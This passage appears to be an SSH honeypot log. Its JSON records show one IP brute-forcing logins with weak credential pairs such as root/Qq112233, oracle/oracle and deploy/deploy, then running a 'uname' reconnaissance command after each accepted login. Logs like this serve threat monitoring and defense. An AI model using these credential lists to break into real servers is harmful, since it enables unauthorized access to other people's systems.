"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"SUCCESSFUL LOGIN",
"COMMANDS RUN",
"RECONNAISSANCE"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: fastuser
{
"id": "cb4f06ae1998",
"src_ip": "109.160.32.119",
"start_time": "2026-09-26T18:16:09.320580Z",
"end_time": "2026-09-26T18:16:11.581305Z",
"duration": "2.3",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "fastuser",
"pass": "1234567890"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / Qq112233
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "63b1bd19ccf1",
"src_ip": "109.160.32.119",
"start_time": "2026-09-26T18:16:04.493296Z",
"end_time": "2026-09-26T18:16:07.366142Z",
"duration": "2.9",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "Qq112233"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"SUCCESSFUL LOGIN",
"COMMANDS RUN",
"RECONNAISSANCE"
]
}Credential acceptance event recorded. Target authentication: root / =
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "a4910ae4f0a4",
"src_ip": "109.160.32.119",
"start_time": "2026-09-26T18:15:59.662087Z",
"end_time": "2026-09-26T18:16:02.655807Z",
"duration": "3.0",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "="
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"SUCCESSFUL LOGIN",
"COMMANDS RUN",
"RECONNAISSANCE"
]
}Credential acceptance event recorded. Target authentication: admin / qwert1
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "5043af803356",
"src_ip": "109.160.32.119",
"start_time": "2026-09-26T18:15:54.758679Z",
"end_time": "2026-09-26T18:15:56.300627Z",
"duration": "1.5",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "admin",
"pass": "qwert1"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"SUCCESSFUL LOGIN",
"COMMANDS RUN",
"RECONNAISSANCE"
]
}Credential acceptance event recorded. Target authentication: oracle / oracle
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "d78aa7981de3",
"src_ip": "109.160.32.119",
"start_time": "2026-09-26T18:15:50.083619Z",
"end_time": "2026-09-26T18:15:52.726274Z",
"duration": "2.6",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "oracle",
"pass": "oracle"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"SUCCESSFUL LOGIN",
"COMMANDS RUN",
"RECONNAISSANCE"
]
}Credential acceptance event recorded. Target authentication: deploy / deploy
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "7b7936a57f1e",
"src_ip": "109.160.32.119",
"start_time": "2026-09-26T18:15:44.791132Z",
"end_time": "2026-09-26T18:15:46.883279Z",
"duration": "2.1",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "deploy",
"pass": "deploy"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"SUCCESSFUL LOGIN",
"COMMANDS RUN",
"RECONNAISSANCE"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: rdpuser
{
"id": "863de22071e4",
"src_ip": "109.160.32.119",
"start_time": "2026-09-26T18:15:40.163824Z",
"end_time": "2026-09-26T18:15:43.115237Z",
"duration": "2.9",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "rdpuser",
"pass": "123"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}